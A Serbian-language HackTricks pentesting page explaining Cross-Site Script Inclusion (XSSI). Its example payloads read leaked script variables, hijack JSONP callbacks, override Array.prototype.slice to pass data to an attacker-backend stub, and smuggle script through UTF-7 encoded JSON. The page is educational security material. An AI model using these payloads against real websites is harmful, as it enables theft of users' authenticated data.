hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md
2024-02-10 13:11:20 +00:00

97 lines
7.6 KiB
Markdown

# XSSI (Uključivanje skripti sa različitih sajtova)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Osnovne informacije
**Uključivanje skripti sa različitih sajtova (XSSI)** je ranjivost koja proizilazi iz prirode `script` oznake u HTML-u. Za razliku od većine resursa koji su podložni **Same-Origin Policy (SOP)**, skripte se mogu uključiti sa različitih domena. Ovo ponašanje je namenjeno da olakša korišćenje biblioteka i drugih resursa smeštenih na različitim serverima, ali takođe uvodi potencijalni sigurnosni rizik.
### Ključne karakteristike **XSSI**:
- **Bypass SOP-a**: Skripte su izuzete iz **Same-Origin Policy**, što im omogućava da se uključe sa različitih domena.
- **Izlaganje podataka**: Napadač može iskoristiti ovo ponašanje da pročita podatke učitane putem `script` oznake.
- **Utjecaj na dinamički JavaScript/JSONP**: **XSSI** je posebno relevantan za dinamički JavaScript ili **JSON sa Padding-om (JSONP)**. Ove tehnologije često koriste "ambient-authority" informacije (poput kolačića) za autentifikaciju. Kada se zahtev za skriptu napravi ka drugom hostu, ove akreditive (npr. kolačiće) automatski uključuje u zahtev.
- **Curenje autentifikacijskog tokena**: Ako napadač može prevariti korisnikov pregledač da zatraži skriptu sa servera koji kontroliše, može imati pristup osetljivim informacijama sadržanim u tim zahtevima.
### Tipovi
1. **Statički JavaScript** - Ovo predstavlja konvencionalnu formu XSSI.
2. **Statički JavaScript sa autentifikacijom** - Ovaj tip je poseban jer zahteva autentifikaciju za pristup.
3. **Dinamički JavaScript** - Uključuje JavaScript koji dinamički generiše sadržaj.
4. **Non-JavaScript** - Odosi se na ranjivosti koje ne uključuju JavaScript direktno.
**Sledeće informacije su sažetak [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Proverite ga za daljnje detalje.
### Regularni XSSI
U ovom pristupu, privatne informacije su ugrađene u globalno dostupnu JavaScript datoteku. Napadači mogu identifikovati ove datoteke koristeći metode poput čitanja datoteka, pretrage ključnih reči ili redovnih izraza. Nakon pronalaska, skripta koja sadrži privatne informacije može biti uključena u zlonamerni sadržaj, omogućavajući neovlašćeni pristup osetljivim podacima. Primer tehnike iskorišćavanja je prikazan u nastavku:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dinamički-JavaScript-XSSI i Autentifikovani-JavaScript-XSSI
Ovi tipovi XSSI napada uključuju poverljive informacije koje se dinamički dodaju skripti kao odgovor na zahtev korisnika. Detekcija se može izvršiti slanjem zahteva sa i bez kolačića i upoređivanjem odgovora. Ako se informacije razlikuju, to može ukazivati na prisustvo poverljivih informacija. Ovaj proces može biti automatizovan korišćenjem alata poput [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp ekstenzije.
Ako se poverljivi podaci čuvaju u globalnoj promenljivoj, mogu biti iskorišćeni korišćenjem sličnih metoda kao i kod Regular XSSI. Međutim, ako se poverljivi podaci uključuju u JSONP odgovor, napadači mogu preuzeti kontrolu nad povratnom funkcijom kako bi dobili informacije. Ovo se može postići manipulacijom globalnih objekata ili postavljanjem funkcije koja će biti izvršena od strane JSONP odgovora, kao što je prikazano u primeru ispod:
```html
<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
```
```html
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Za promenljive koje se ne nalaze u globalnom prostoru imena, ponekad se može iskoristiti *manipulacija prototipom*. Ova tehnika koristi dizajn JavaScript-a, gde interpretacija koda uključuje pretragu prototipskog lanca radi pronalaženja pozvane osobine. Preuzimanjem određenih funkcija, kao što je `slice` za `Array`, napadači mogu pristupiti i otkriti promenljive koje nisu globalne:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Dodatne detalje o vektorima napada možete pronaći u radu istraživača za bezbednost [Sebastijana Lekisa](https://twitter.com/slekies), koji održava listu [vektora](http://sebastian-lekies.de/leak/).
### Non-Script-XSSI
Istraživanje Takeshi Terade uvodi još jedan oblik XSSI, gde se ne-skript fajlovi, poput CSV-a, curenjem preko izvora uključuju u `script` tag. Istorija primera XSSI, poput napada Džeremaje Grousmena 2006. godine za čitanje kompletnog Google adresara i Džoa Vokera 2007. godine za curenje JSON podataka, ističu ozbiljnost ovih pretnji. Dodatno, Gareth Hejs opisuje varijantu napada koja uključuje UTF-7 enkodirani JSON za izbegavanje JSON formata i izvršavanje skripti, efikasno u određenim pregledačima:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>